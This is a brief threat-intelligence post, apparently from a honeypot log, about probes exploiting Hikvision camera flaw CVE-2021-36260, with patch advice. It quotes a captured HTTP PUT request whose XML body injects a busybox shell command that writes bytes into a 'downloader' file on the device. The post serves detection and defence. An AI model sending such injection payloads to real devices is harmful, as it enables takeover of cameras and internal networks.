These probes appear to be related to a remote code execution (RCE) vulnerability (CVE-2021-36260) impacting Hikvision's popular Internet of things (IoT) security camera. If exploited by unauthenticated malicious actors, it could lead to full control over targeted devices and possibly internal networks. Shodan statistics have identified over 3.2 million camera on the internet.
Hikvision released an advisory on 2021-09-19 and recommend that any version dated earlier than 210628 to install the updates immediately.
20211115-033051: 192.168.25.9:81-126.96.36.199:43842 data
PUT /SDK/webLanguage HTTP/1.1
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
<?xml version="1.0" encoding="UTF-8"?>
$(busybox echo -en "x00x00x00x00x01x00x00x00x03x00x00x00x00x00x00x00x00x00x00x00xa4x03x00x00x1ex00x00x00x00x00x00x00" >> downloader)
Information on how to update the security camera available here.
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